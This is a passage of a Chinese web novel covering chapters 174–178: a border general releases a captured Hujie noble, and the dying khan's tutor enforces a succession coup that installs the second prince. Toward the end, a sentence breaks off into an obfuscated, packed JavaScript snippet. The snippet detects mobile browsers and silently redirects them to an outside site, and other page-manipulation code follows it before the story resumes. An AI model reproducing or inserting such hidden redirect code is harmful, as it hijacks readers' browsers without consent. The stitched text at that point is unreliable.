要知道,胡羯帝国可是穷举国之力发动了此次南征,若非是有天大的变故,这场南征之战都不会半途而废。 放眼一国,有什么事算得上天大的事?那自然是天子帝位。 “胡羯可汗拓跋雄顶破天也就五十多岁,而且,身体健朗,不应该啊……”叶世珍疑惑地说道。 “现在一切都只是猜测!”卢恽筹摇了摇头,说道:“不过,为了那至高无上的权柄,没有什么是不可能的;就说咱们中原王朝,历朝历代,死于非命的帝王也不在少数,更何况是毫无礼度、以武立国的胡羯!” “如果真如大将军猜测那般,拓跋桀肯定已经连夜赶回天汗城,这对于我们来说,无异于天赐良机!”就在这时,章绩站了出来,指着沙盘之上的兵力布防格局,继续说道: “大将军请看,我方七路大军皆在边关前线,如果这个时候全军反扑,定能打敌人一个措手不及,甚至将胡羯人赶回阴山以北,收回北疆失地!” 卢恽筹看着沙盘,眉头微皱,问道:“你们觉得呢?” 现场顿时出现不少附和的声音,都赞同章绩的观点,觉得眼下是千载难逢的良机。 如今,各路大军就在边关,根本不需要各处调兵,而且,经历此次大战之后,各州边军杀气未消,无疑是出兵的最佳时机。 “大将军,卑职觉得章大人的提议甚妙!” “末将也觉得,眼下是出兵的绝佳机会!” 就在众人群情激奋之时,叶世珍走上前来,抱拳道:“大将军,卑职觉得,此时不宜出兵!” 此言一出,让不少人面色一沉,章绩眼神中更是闪过一丝冷意,他与叶世珍一向不和,但以往也只是暗中较劲。 最近,因为凌川之事,二人算是彻底撕破了脸,在这帅帐之中不知道争执了多少次。 卢恽筹看了叶世珍一眼,问道:“为何?” 叶世珍拿起竹条,指着沙盘之上胡羯大军的布防位置,说道:“此次大战,咱们双方各有损失,但都算不上元气大伤,胡羯七路大军看似仓皇撤离,甚至还后撤了八十里,但从这布防位置不难看出,他们的防守依然有序,各驻防点彼此呼应,宛如一道墙壁!” “咱们若是这个时候出击,定会被胡羯人打一个措手不及!要知道此前咱们是据关而守,在占据地利人和的情况下,也只是与对方打了个平手!” 叶世珍抬起目光,看向之前支持出兵反攻的那几名将领,说道:“胡羯人善骑射,他们的骑兵数量更是咱们的两倍有余,各位觉得,若是在草原上交锋,咱们有几成胜算?” 这番话,让一众将领脸上的笑容逐渐僵硬,内心那股躁动也逐渐平静下来。 “叶参军莫不是被胡羯人吓破胆了吧?如此天赐良机,你竟然进献谗言,阻止大将军出兵,你到底是何居心?”章绩一脸不善之色,冷声问道。 叶世珍淡淡一笑,说道:“叶某并未阻止大将军出兵,不过是讲明其中利害关系,最终还是得看大将军定夺!” 随即,他毫不畏惧地迎上章绩的目光,说道:“至于胆气,我叶某虽是一介书生比不上诸位将军,但自认为还有两分!” 章绩正要反驳,却被卢恽筹伸手制止:“好了!” “无论拓跋桀为何撤军,这个时候咱们出兵反攻都非智举,胡羯大军十有八九布置好一切,就等着咱们一头扎进去呢!而且,敌人之所以撤得这么仓皇,极有可能是故意露出的破绽,引诱咱们出兵!”卢恽筹此话一出,无疑是盖棺定论,不予出兵反攻。 紧接着,卢恽筹继续说道:“传令各州边军,原地驻守,顺便修缮城关工事!” 武定关,凌川得知胡羯大军撤离的消息,也倍感诧异,事实上,他比节度府更早得知胡羯大军撤回阴山脚下的消息,因为,纪天禄带领的一百斥候,远比其他斥候要更深入敌方。 “去把耶律公子请过来,就说我请他喝酒!”凌川对苍蝇吩咐道。 很快,耶律蓝图便一瘸一拐地走了进来,最近他一直被软禁在武定关,预料中的严刑拷打、百般折磨并没有出现,反而是,一日三餐还被好酒好菜伺候着。 喜欢边关兵王:从领娶罪女开始崛起请大家收藏:()边关兵王:从领娶罪女开始崛起更新速度全网最快。 第174章 天汗城出事! 数日不见,耶律蓝图的脸上少了几分锐气,多了几分颓废。 因为受伤而显得苍白的脸,让他显得更为阴柔。 当他被带出房间的时候,心里便有了预料,可那两名周军并未将他带到刑场,而是来到了节堂之中。 进门便看到凌川独自一人坐在主位上,桌上摆满酒菜,十分丰盛。 “耶律公子近几日休息得可还好?”凌川笑着问道。 耶律蓝图脸上露出一抹苦笑,“听说,你们周人在被砍头之前,都会吃一顿好的,可草原没这个规矩,凌校尉直接动手就是,不必这么麻烦!” 凌川笑了笑说道:“那耶律公子可曾听过咱们中原有句话叫,以小人之心度君子之腹呢?” 耶律蓝图不屑嗤笑道:“若是你这般狡诈之徒也称得上君子,那这世上就没有小人了!” 凌川指了指自己对面的凳子,笑道:“看来你腿伤恢复得不错,还能站着跟我说话!” 耶律蓝图也没强撑,一瘸一拐地走到凌川对面坐下来。 凌川拿起酒坛,给他倒了一杯酒,说道:“这酒是我自己酿造的,桌上的菜也是我亲手做的,只为给你践行!” “践行?”耶律蓝图闻言,神色顿时一愣,随即笑道:“凌兄莫不是把我当三岁小孩?” 凌川笑了笑,主动举起酒杯,耶律蓝图也明白,如今自己就是砧板上的鱼肉,生杀大权都在别人手里,自己只能听天由命。 他端起酒杯跟凌川碰了一下,随即一饮而尽。 “咳咳……” 酒刚入喉,耶律蓝图只感觉一股火焰从咽喉一直烧到胸腹,他顿时止不住地咳嗽,一张脸都咳得通红。 他指着凌川,正欲骂他卑鄙,竟在酒里下毒。 然而,话刚到嘴边便硬生生憋了回去,因为,凌川同样喝了,只不过并没像他那样将整杯酒一饮而尽。 “你这是什么酒?” “这酒,名叫狼血!相比起你们草原的烈酒如何?”凌川问道。 耶律蓝图这才发现,那股如刀锋一般的辛辣退去之后,竟然伴随着回甘与醇香,这让他精神为之一震。 “果真是好酒,比草原的酒霸道多了!”耶律蓝图给予中肯的评价,随即笑道:“临死之前能喝到如此美酒,此生也算是无憾了!” 凌川又给他倒了一杯,说道:“都说了是给你践行,你怎么就不信呢?” “呵呵……”耶律蓝图冷笑一声:“我当日就是信了你,现在我成了你的阶下囚!” “哎!人心中的成见是一座大山!在战场上,你我互为死敌,更何况,你不也在算计我吗?只不过我技高一筹而已!” 耶律蓝图无言反驳。 “我说了,今日是为你践行的,喝完这坛酒,我便送你出关!”凌川再次举杯。 这一次耶律蓝图并未像之前那般豪饮,而是跟凌川一样浅尝即止。 “你真放我走?” 凌川点头,“抛开立场,你我之间并无私怨,更何况胡羯已经撤军,我留着你只会浪费军粮!” 听闻此言,耶律蓝图顿时一惊,“撤军,怎么可能?” “我骗你有什么意义?三日前胡羯七路大军连夜撤回阴山脚下,围绕斡拏城布防!” 耶律蓝图见他不像是在撒谎,但,对于这个结果,还是有些难以置信。 “帝国为了这场南征之战,穷举国之力准备了数年,怎么会轻易撤军?” 凌川也看着他,说道:“我也想知道你们为何撤军!” 忽然,耶律蓝图的眼眸中闪过一抹精光:“莫非……” 凌川敏锐捕捉到了他的神色变化,问道:“你是不是知道什么?” “如果我没猜错的话,天汗城出事了!”耶律蓝图也没有隐瞒,继续说道:“有人篡夺汗位,只是不知道成功了没有?” “能否展开说说?”凌川继续问道。 “告诉你也无妨!”耶律蓝图笑了笑,说道:“三个月前,大汗在狩猎之时忽然跌落马背,有小道消息说是遭遇了刺杀!” “虽然对外宣称,大汗只是落马受伤并无大碍,但之后的几个月却再没有现身,就连父王亲自到帝宫都未能见到大汗圣颜,这不由让人更加怀疑!” “而就在这几个月里,天汗城发生了一系列的事情,先是大汗的次子拓跋青霄无故失踪,活不见人,死不见尸。紧接着,大汗的长子拓跋烈阳在各部的支持下,开始执掌大权!”耶律蓝图顿了顿,继续说道: “事实上,早在几年前,拓跋烈阳便在暗中拉拢各部,可他毕竟是大汗钦点的继承人,在这些事情上,大汗也只是睁一只眼闭一只眼!” 凌川浅饮一口狼血,问道:“你们那位大汗,就两个儿子?” 耶律蓝图摇了摇头,说道:“除了刚刚提到的两位,还有一个小儿子拓跋凌云,刚成年!此外还有两位公主!” 凌川点了点头,示意耶律蓝图继续。 耶律蓝图也浅浅喝了一口,将他所知的信息娓娓道来。 凌川听后,开口问道:“如此说来,是你们可汗的长子拓跋烈阳在谋划一切,趁机篡位?” 耶律蓝图点了点头说道:“我也只是猜测,不过并非没有可能,虽然他是大汗钦点的接班人,但面对近在咫尺的汗位,谁又能一直等下去?” 对此,凌川倒是不觉得奇怪,回望历史,无论是中原王朝还是自己前世的古代,太子逼宫篡位的事情不在少数。 在外人看来,他们本就是储君,登上那九五之尊不过是迟早的事情。 然而,只有他们自己知晓,自己距离帝位虽只有一步之遥,但,这一步却宛如天堑,正常来说,就只有熬,熬到上面那位老死,在此之前,自己不敢有半点非分之想。 而且,在真正坐上那张宝座之前,他们每日都得小心翼翼、如履薄冰,说不定某个无心之举就会惹得龙颜大怒,被废掉储君之位。 在这种无尽压力之下,每一天都是煎熬,必须确保自己不犯任何错误,否则,一步走错便是万劫不复。 关键是他们根本不知道自己还要熬多久,更不知道能否熬到守得云开见月明的那一天。 喜欢边关兵王:从领娶罪女开始崛起请大家收藏:()边关兵王:从领娶罪女开始崛起更新速度全网最快。 第175章 最是无情帝王家! 此外,还有一个更重要的原因。 但凡是储君,背后都有一个巨大的利益团体,中原的世家望族也好,草原的王族部落也罢,他们都会在储君身上押注,只等储君荣登大宝,他们便是从龙之臣,他们所代表的世家或部落也将承其恩泽,进一步壮大。 所以,很多时候,就算储君自己能等,他身后那些势力也等不了。 到了这种时候,储君与他们身后的势力早已绑在一块,根本没有退路,铤而走险做出弑君篡位的举动,也无可厚非。 在权利面前,所谓的血脉亲情根本不值一提。 就在此时,凌川开口问道:“估计拓跋桀此时已经快到天汗城了,只是不知道他是自己去争夺那个位置,还是要另有其他目的!” “这个不好说!”耶律蓝图摇了摇头,继续说道:“此前,大汗便对他这位同父异母的弟弟心有忌惮,多次想要分走他的兵权,奈何,为了这场南征之战,帝国准备了太久,也投入了太多,如果在这个时候削权,极有可能会引发动乱,这是大汗不想看到的!这一次南征之战,三大王族和草原各部纷纷率军前来支援,其实还有另外一个目的,那就是钳制拓跋桀!” 凌川点了点头,对于这一点,他此前便已经想到。 无论拓跋桀这次能否攻下北疆防线,此战之后,胡羯帝国的南征军都将易帜。 “那你们耶律王族呢?你们站在哪一边?”凌川看着耶律蓝图,问道。 耶律蓝图笑了笑,说道:“在大汗指定汗位继承人之前,我们肯定是在大王子和二王子身上分别押宝!” “那汗位继承人指定之后呢?”凌川又问。 “自然也是两边押宝!”耶律蓝图回答道。 这话听起来似乎很矛盾,事实上这才是聪明人的做法,任何势力想要真正做到长盛不衰,在关键抉择上就不能孤注一掷不留退路。 耶律王族如此,想必慕容王族和宇文王族同样如此。 凌川端起酒杯,叹息道:“最是无情帝王家啊!想必,耶律公子对这句话感触更深!” 耶律蓝图眼底闪过一丝异色,笑道:“凌兄多虑了,我虽是慕容王族嫡系,但我母亲只是一个出身低微的牧羊女,我虽也是王族嫡系,但,对于王位却从不敢有半点奢望!” “是吗?”只见凌川嘴角溢出一抹意味深长的笑容,看着他问道:“是觉得争不过所以不争,还是真的不想争?” “凌兄这话是什么意思?”耶律蓝图看着他问道。 凌川笑着举起酒杯,并没有正面回答。 不知不觉间,两个时辰过去了,这一坛酒也快见底。 耶律蓝图心中这几日挤压的怒火,也随着一杯杯酒下肚逐渐化开。 二人相谈甚欢,耶律蓝图满脸通红,借着酒意彻底袒露心扉,将埋藏在心底多年,从未像外人提及的秘密道与凌川,其中不乏一些王族辛秘。 直至酒坛见底,凌川才主动站起身来,说道:“耶律公子,这酒也喝得差不多了,我送你出城吧!” 耶律蓝图笑道:“你真放我走?” “当然是有条件的!”凌川笑道:“我的条件是,你得承认我凌川是一位君子!” “哈哈哈哈……”耶律蓝图大笑几声,“你想得美!” “如此说来,耶律公子是不想回去了?”凌川笑问道。 “你……凌兄这等正人君子,不会食言而肥吧?”耶律蓝图打了个酒嗝,笑道。 凌川扶着满脸通红、步履踉跄的耶律蓝图来到城中马道,那里,已经有一架双驾马车在那里等候,马车旁边,一名穿着单薄的美艳女子静静站立。 女子身披一件薄纱,妙曼身姿显露无疑,让城墙上不少边军眼珠都快掉出来。 若是细看,不难发现,她腰腹裹着纱布,隐约间还能看到血迹,显然,之前被凌川的弩箭所伤,伤口还未痊愈。 凌川将耶律蓝图交给她,带着几分酒意,笑道:“耶律公子,下次你我若是再见沙场,可别再被我擒了啊!” 耶律蓝图指着凌川,说道:“下次若再相见,我定要亲手擒你,洗刷耻辱!” “哈哈哈哈……”凌川大笑道:“你没有机会的!” 武定关城门大开,双驾马车载着二人缓缓出城北去。 凌川站在武定关城墙之上,看着那渐行渐远的马车,也不知在想些什么。 “大人,耶律蓝图可是耶律王族的嫡系成员,你把他放走,要是被节度府知道,恐怕会有麻烦!”唐岿然来到他身边,小声说道。 凌川笑了笑,说道:“像他这种野心勃勃之人,留着,比杀了作用更大!” 阴山以北,望月州,白道原。 三千骑策马狂奔,领头之人身着虎魄血纹铠,正是南征主帅拓跋桀。 放眼整个胡羯帝国,也只有拓跋王族的高层将领才有资格着虎甲,而这虎魄血纹铠更是仅次于历代大汗的天虎屠龙胄。 中原王朝一直视龙为图腾,而拓跋王族称霸草原之后,时刻想着逐鹿中原,天虎屠龙胄的这个名字便可见其野心。 拓跋桀只带了三千赤虎卫,连夜赶赴天汗城,三千赤虎卫是他的亲信,也是跟随他南征北战,从尸山血海中杀出来的,不仅战力无双,更是绝对忠心,只听命于他一人。 一路狂奔,哪怕是如此优良的战马也扛不住,开始口吐白沫,就连拓跋桀的千里良驹也变得焦躁不安。 “元帅,三十里外便是淖尔湖,那里已经提前准备好了战马和物资!”赤虎卫三大首领之一的拓跋翀策马来到跟前禀报道。 拓跋桀点了点头,说道:“给大家一刻钟的时间修整,一刻钟后起程!” “是!” 一刻钟,吃喝拉撒都得同时进行,否则根本不够用,不过,没有人会质疑拓跋桀的命令,拓跋翀更是清楚,此行关乎胡羯帝国的社稷,容不得慢点马虎。 斡拏城距离天汗城足有八百多里,可他们只有一天一夜的时间,沿途只能换马不换人,片刻不敢停歇。 喜欢边关兵王:从领娶罪女开始崛起请大家收藏:()边关兵王:从领娶罪女开始崛起更新速度全网最快。 第176章 胡羯帝师! 天汗城! 坐落于迦噶雪山之下,是万里草原上唯一的城池。 迦嘎雪山乃是草原部落共同信奉的神山,天汗城背靠雪山而建,也是希望得到神山的护佑。 三百年前,拓跋王族一统漠北建立胡羯帝国,掳中原工匠五万,筑起这座游牧王朝的图腾。 天汗城虽不及神都那般巍峨雄伟,但却是占地辽阔,守卫森严,如一头踞伏在迦嘎雪峰下的玄铁巨兽。 整座城池的格局与中原城池相似,引雪峰融水成河,严冬凝为冰刃护带;河底倒插上万长矛,春汛期隐现森白矛尖如巨鳄利齿。 城墙的夯土之中,有整整五万中原工匠的尸骨。 不过,城内建筑大多还是延续了草原部落的习俗,除了最中间的三座宫殿之外,整个天汗城并无其它雄伟建筑,数万毡帐按二十八宿排布,白日如云海栖城,入夜如群山连绵。 城中心,三座宫殿分别是天虎帝宫、长生殿和血盟殿。 天虎帝宫无需解释,那是历代可汗会见各部首领,以及商议军国大事的地方,更深整个帝国的权力象征。 长生殿则是面朝迦噶雪山,是他们祭拜长生天的地方,在他们的认知里,长生天便住在迦噶雪峰之上,俯视着万里草原。 至于血盟殿,则是当初各大部落首领歃血为盟的地方,胡羯立国之后,此地便供奉着胡羯历代帝王、各部首领以及为帝国做出过大功绩的忠烈骨牌。 城中灯火点点,与月朗星稀的夜空遥相呼应。 然而,普通百姓并没有注意到,天汗城今夜的防卫比往日森严了许多,无形之中,一股紧张而压抑的氛围笼罩整个天汗城。 五千金甲卫将帝宫围得水泄不通,所有人剑拔弩张、神色肃穆。 金甲卫负责守卫天汗城,从不对外征战,只听命于可汗一人,类似于中原神都的禁军。 就在此时,一名手持麈尾,身着锦缎的中年男子缓步走来,他不仅身着周人服饰,连长相都与周人一般无二。 很难想象,在天汗城的地宫门口,竟然会出现一个周人。 而且,金甲卫首领见到来人,立马上前行礼。 后者挥了挥手中麈尾,径直朝着天虎帝宫走去,放眼胡羯帝国,入帝宫无需通禀者不超过三人,而眼前这个周人,便是其中之一。 原因无他,只因他是胡羯帝师! 他祖辈立身中原,而且,还不是小门小户,而是大名鼎鼎的盈河王氏,论及底蕴,虽无法与自前朝便已崛起的琅琊王氏相比,但盈河王氏的鼎盛时期,却丝毫不输琅琊王氏。 当时,庙堂之上曾有‘二王共治天下’的说法,由此可见,盈河王氏当初有多鼎盛。 然而,盈河王氏的鼎盛终究止步于正元十八年。 那一年,中原王朝震惊朝野的梁王案触怒天威,天子一字杀令,不仅将梁王满门抄斩,就连与梁王府走得很近的盈河王氏也都被灭族。 只有一个十岁小男孩侥幸逃脱,最终他跟随商队逃到草原,来到了天汗城。 他做过奴隶、当过牧童、捡过牛粪、喂过马…… 他用了十三年,在天汗城当上一名周学先生,此后,更是凭借半卷羊皮,被大汗亲召入宫,摇身一变成为了一人之下万人之上的帝师。 他叫王浮舟,梁王案中,盈河王氏仅剩的那条漏网之鱼。 王浮舟一步步走上台阶,正如他当年被大汗亲召入宫一般,走得不急不缓,但却始终没有停下。 来到帝宫门口,这里早已聚满了人,三大王族的话事人全部到场,十三部首领来了七个,还有六个估计也在路上了。 除此之外,一名不足三十岁的年轻男子异常醒目,在场其他人隐约间都以他为首。 此人不是别人,正是大汗的长子拓跋烈阳,也是大汗钦点的接班人。 见到他的到来,包括拓跋烈阳在内的所有人都恭敬行礼,很难想象,一个外邦周人,在胡羯帝国竟有如此高的地位,无论是当朝储君还是王族掌权者,见到他都得行礼。 王浮舟从小食不果腹,以至于身形瘦小,若看背影宛如半大孩童,但,在场这些跺跺脚草原都将随之颤抖的大人物却不敢有半点轻视。 他眼神平静,既无狼的凶狠,也无鹰的锐利,更无虎的霸气,就宛如两口深不见底的古井,让人看不到底。 帝师轻摇麈尾,点了点头,问道:“大汗怎么样了?” 众人摇了摇头,表示不知,拓跋烈阳上前一步,回答道:“父汗毒性发作已伤及脏腑,怕是熬不过今晚了!” 王浮舟点了点头,随即推门而入。 就在他前脚即将跨进帝宫的时候,拓跋烈阳忽然抓住了他的手臂。 “嗯?”王浮舟微微转过目光,看了拓跋烈阳一眼。 后者连忙撒手,颤颤巍巍地说道:“事关帝国命运,还望先生以大局为重!” “大汗还在,大王子这是等不及了吗?” 轻飘飘的一句话,宛如万钧雷霆,让拓跋烈阳神色巨变,扑通一声跪倒在地,后心更是冒出粘稠的冷汗。 “先生误会了,我并不是这个意思……” 王浮舟却连看都没看他一眼,径直走进帝宫。 刚进门,里面的两名金甲卫便迅速把门关上,以至于门外众人无法窥测宫中情况。 来到卧榻跟前,他并未行礼,就这么静静地站在那里,看着躺在卧榻之上那名脸色苍白的男人。 当看到此人的情况,王浮舟便知道,这位叱咤草原的一代雄主,注定是熬不过今晚了。 “你来了……” 卧榻之上那名年近六旬、满头白发的男子睁开沉重的眼皮,用虚弱的声音说道。 王浮舟点了点头,说道:“我来送大汗最后一程!” 这位胡羯帝国的君主拓跋雄并未因为这句‘大不敬’之语而生气,反而是微微笑道:“有先生在,我也能走得放心些!” 三个月前,拓跋雄狩猎之时被毒箭所伤,虽然对外宣称只是意外坠马并无大碍,但纸终究是包不住火的,这三个月,请来了无数名医却对箭上之毒束手无策,如今,剧毒攻心,也就意味着拓跋雄大限将至。 喜欢边关兵王:从领娶罪女开始崛起请大家收藏:()边关兵王:从领娶罪女开始崛起更新速度全网最快。 第177章 金刀易主! 拓跋雄气息虚弱,干裂的嘴唇上还带着乌黑血迹,只见他吃力地问道:“查清楚了吗?” 王浮舟点了点头。 拓跋雄又问:“是老大?” 王浮舟目光瞟了一眼宫殿门口方向,摇头道:“是二王子拓跋青霄!” 听到这个结果,拓跋雄那浑浊的眼神中闪过一丝诧异,紧接着,轻笑一声:“我果真没看错他!” 事到如今,一切都水落石出。 世人皆以为,是大王子拓跋烈阳等不及了,想要谋杀大汗篡位。 然而,事实的真相却是,拓跋烈阳不过是一个替死鬼,真正的幕后之人乃是二王子拓跋青霄。 他先是派出死士刺杀父汗拓跋雄,紧接着,自己来一手金蝉脱壳,让所有人都觉得,是拓跋烈阳在为篡位扫清障碍。 拓跋雄大笑起来,那笑容之中有几分带着三分愤怒、三分悲凉、三分欣慰,还有一分连王浮舟都读不懂的情绪。 “真不愧是我拓跋雄的儿子,心思缜密,狠辣果决,为达目的不择手段,只有这样的人,才有资格成为帝国的大汗,也只有这样的人,才能威慑三大王族和十三部,带领草原一统天下!” 拓跋雄仿佛回光返照一般,这番话竟然说得无比流畅。 王浮舟点了点头,他已经知道答案,也明白该怎么做了。 拓跋雄挣扎着想要坐起来,奈何自己已经没多少力气,王浮舟见状,走上前将他扶了起来。 拓跋雄看着眼前这个异族男子,眼神似乎陷入了久远的回忆当中。 “先生啊,犹记得当年你仅凭半卷羊皮,写下治国韬略,助我彻底一统草原!” 拓跋雄轻轻握着王浮舟的手,说道:“现在,我把这偌大基业托付于你,希望你能像当年助我那般,为老二运筹帷幄,开疆拓土,立下万世功勋!” 王浮舟那深邃的眼底终于浮现出一抹感激之色,点头道:“若非大汗,我早就饿死了,当年向大汗承诺,我将穷毕生所学,助大汗马踏中原,一统天下!” “可惜,天不遂人愿,大汗先一步走了!”王浮舟顿了顿,叹息道:“不过大汗放心,只要我有一口气在,必定会将当日誓言尽心到底,那一日,我定会带一壶神都的天仙醉与大汗共饮!” 拓跋雄笑着点头,道:“好,好啊……” 忽然,拓跋雄握住他的手无力垂下,嘴角还带着笑意,可眼神却在快速涣散。 王浮舟神色平静,只见他轻轻扶着拓跋雄的身体平躺在床榻上,随即,将悬挂在床头的那把金刀取下,转身走向门外。 随着宫门被打开,拓跋烈阳以及一众大人物连忙围了上去。 “先生,父汗,他怎么样?” 拓跋烈阳忍不住问道。 “大汗令,拓跋烈阳弑父篡位,当诛!” 话音刚落,王浮舟猛然拔出手中金刀,只见一道金光闪过,拓跋烈阳顿感脖子一凉。 他下意识地捂住脖子,耳边还回荡着帝师的话。 “不,不是……不是我……” 拓跋烈阳惊慌大喊,可声音却异常嘶哑,大量鲜血顺着指缝涌出。 周围三王与各部首领无不傻眼,他们谁也没想到会是这样一个结果。 对于帝师的话,所有人都深信不疑,他说的每一个字,都代表可汗的意思。 不过,对于这个结果,却是所有人都没有想到的。 “不,不会的,我才是父汗钦点的继承人……汗位,是,我的……” 拓跋烈阳双目圆瞪,面容扭曲,可随着大量鲜血喷涌而出,他也缓缓倒在地上。 王浮舟收刀入鞘,随即单手将金刀举起。 “遵大汗令!” 此言一出,无论是三大王族的族长,还是十三部首领,乃至全场的金甲卫,纷纷跪地。 手持金刀的王浮舟,在这一刻显得异常巍峨。 “大汗升天,命二王子拓跋青霄接掌汗位,各族当同心同德,辅佐新汗!” “谨遵大汗令!” 所有人齐声回答,尽管他们内心早已涌起惊涛骇浪,但却不敢表现出丝毫的质疑。 他们比谁都清楚,大汗在临终前将金刀交给他,也就意味着,在二王子正式继任汗位之前,整个天汗城,乃至整个草原,他的权利最大。 “先生,二王子在两个月前便失踪了,眼下我等当尽快把他寻回来主持大局才是啊!”宇文王族的族长开口说道。 王浮舟淡淡一笑,说道:“二王子不是一直都在这吗?” “什么?二王子在这儿?”所有人顿时一惊,纷纷扭头看向四周,可惜,除了擐甲执兵的金甲卫,便只有他们这群人。 “先生比你就别开玩笑了,二王子都失踪快两个月了,他要是还活着,肯定逃离天汗城了!” 只见王浮舟转身进入宫殿,将一名金甲卫拉了出来。 整个宫殿中,就只有两名金甲卫,一直守在那里。 众人见状,皆是一脸的不解,而王浮舟则是双手捧着金刀,对着那金甲卫双膝跪地。 这章没有结束,请点击下一页继续阅读!“请二王子接掌金刀,继位新汗!” 见到这一幕,所有人都是一脸的不可思议,甚至有人怀疑,帝师疯了! 那金甲卫虽然浑身被金甲覆盖,但那张脸绝不是他们熟悉的二王子拓跋青霄。 然而,就在此时,只见那金甲卫开口说道:“不愧是被父汗尊为帝师的人,我瞒过了所有人,包括父汗和王兄,却没能瞒过你!” 那金甲卫说完,伸手往脸上一抓,竟然将一张‘脸’给抓在掌心,随即露出了他本来的面目,正是二王子拓跋青霄。 现场响起一片倒吸凉气的声音,唯独王浮舟神色不改,似乎一切都在他的预料之中。 “二王子别忘了,这易容之术,可是我当年亲手教你的!”王浮舟淡淡说道。 拓跋青霄笑着接过金刀,随即将王浮舟扶了起来,“大家都起来吧!” 自这一刻起,胡羯帝国迎来了新王,并非早就被钦点为继承人的长子拓跋烈阳,而是一直不显山不露水的次子拓跋青霄。 就在拓跋雄被刺杀之后没几日,拓跋青霄便自导自演玩了一出失踪,仿佛人间蒸发,哪怕金甲卫将整个天汗城翻过来,都未能找到任何蛛丝马迹。 很多人都怀疑,他已经遭了大王子的毒手。 可谁也没想到,他竟然隐藏在金甲卫之中,而且,就在天虎帝宫之中,就在拓跋雄的眼皮子底下,时刻注视着大汗的一举一动。 喜欢边关兵王:从领娶罪女开始崛起请大家收藏:()边关兵王:从领娶罪女开始崛起更新速度全网最快。 第178章 新汗继位! 就在此时金甲卫首领满脸慌张跑来看了看王浮舟以及在场其他大人物最终将目光定格在身穿金甲的拓跋青霄身上瞬间便明白了现场的局势。 “报!城外出现数千骑兵!” “领兵之人可是拓跋桀?”不等其他人说话拓跋青霄率先发问。 “是!”金甲卫首领回答道。 听到拓跋桀的名字所有人皆是一惊显然对于这位半生都在沙场征战的南征主帅大家心里还是充满了忌惮更何况还是在眼下这个关键时期。 拓跋青霄面带冷笑说道:“我这位叔叔还真是关心帝国大事啊斡拏城距此整整八百里他一天一夜便赶到了!” 说完他径直走下台阶说道:“走吧带我去见见这位叔叔!” 城外三千赤虎卫整齐列阵赤色铠甲在黑暗中显得异常压抑。 身着虎魄血纹铠的拓跋桀虽年过五十却依旧是身形笔直眉宇间透着一股霸道之气。 “南征主帅拓跋桀求见!”拓跋桀朗声喊道。 城墙之上灯火通明、剑拔**张不过却没有人回答他的话。 就在此时城门缓缓打开只见一名身着金甲的年轻身影策马而出朝着他这边奔来。 王浮舟并未与拓跋青霄一起出城同样没有让其他部落的首领跟着出城拓跋青霄知道对方是在用这种方式考验自己。 只有通过自己叔叔这一关的考验他才算是真正坐上了可汗之位。 随着那道身影逼近拓跋桀也认出了对方的身份同样也看到了对方手中的金刀。 “叔叔好久不见!”拓跋青霄一脸轻松只见他逐渐放慢马速缓步来到拓跋桀身边。 拓跋桀紧盯着他手中金刀确认就是那把祖传金刀之后神色变得更为凝重起来。 “青霄你可真是给叔叔一个惊喜啊!”拓跋桀冷笑道。 拓跋青霄笑了笑说道:“叔叔车马劳顿不如先进城歇歇咱们慢慢聊?” 拓跋桀笑着摇了摇头说道:“我离开天汗城已经十多年了这次在城外看看就行了我怕进去之后就出不来了!” “叔叔多虑了您可是帝国柱石更是我以后的靠山岂会对你动杀心呢?” 拓跋桀大笑道:“你为了汗位弑兄杀父这种事情都做得出来更何况是我这个叔叔!” “叔叔借一步说话!”拓跋青霄做了一个请的手势随即策马朝着城外一片无人空地而去。 拓跋 桀略微犹豫了一下,还是跟了上去。 此地远离城墙,也远离赤虎卫,所以,二人接下来的谈话内容,谁也听不到。 众人只能远远看到,拓跋桀的情绪逐渐从暴躁变得平静。 …… 约莫半个时辰之后,拓跋桀翻身下马,双手抱肩对着拓跋青霄行了一礼。 后者则是快速下马,将其扶了起来。 虽然城墙上的众人依然听不见他们在说什么,但仅此一个动作便足以说明很多问题。 拓跋桀显然是承认了他的可汗身份,当然,拓跋青霄肯定也给他许诺了好处,准确说,就在这半个时辰中,二人做了一笔交易,至于交易的筹码和内容,其他人无从得知。 “叔叔好不容易回一趟天汗城,不留几日与家人团聚吗?”回到城墙跟前,拓跋青霄热情问道。 拓跋桀却是笑着摇头道:“南线局势不稳,我得赶回去主持大局!大汗就在天汗城,等我攻破大周北疆防线的捷报吧!” “哈哈哈……那我就祝叔叔早日凯旋!”拓跋青霄笑着说道。 拓跋桀带着赤虎卫离开了,连夜奔袭八百里,终于赶到天汗城外,然而,却连城都没进,只在城外待了一个时辰便折身返回斡拏城。 离开之前,拓跋桀扭头看了一眼城墙,准确说是看向站在城墙之上的王浮舟。 后者神色平静,无喜无悲,那双深邃的眼神宛如两个黑洞,让人看不到底。 也是直到此时,王浮舟才终于确定,拓跋桀是为谁而来。 事实上,拓跋桀刚动身赶往天汗城没多久,他便已经接到消息 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16038279|177490||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了,当时,他认为拓跋桀是为拓跋青霄助阵而来,毕竟,当时的局面,拓跋烈阳是占据着绝对的优势。 可从他刚才的态度和举止,王浮舟确定,他此前并非是站拓跋青霄的队。 那就只有一种可能,他是为了可汗之位而来,只可惜,时间太过于紧迫,他来到城下的时候,金刀已经易主。 他麾下三千赤虎卫想要攻下天汗城,无异于痴人说梦,抛开城内五千金甲卫全是精兵悍将不说,他只要敢动手,不出两个时辰,至少有数万大军从各处赶来,将他吃得连渣都不剩。 从拓跋青霄手持金刀便可以看出,如今城内的局势已经被他掌控,亦或者说,一直都在他的掌控之中。 事实上,此前就算是王浮舟也不敢相信,拓跋雄还在世的时候,竟然有人能收买金甲卫。 不过,拓跋桀此行也并非是竹篮打水一场空,至少,他还是南征主帅,而且,往后很长一段时间,他的地位都不会有威胁。 胡羯帝国的王权交替,就这样平稳度过,不过,今晚注定是一个流血的夜晚。 半数金甲卫出动,将拓跋烈阳的党羽全部清洗,无声无息间,数以千计的人被砍掉脑袋。 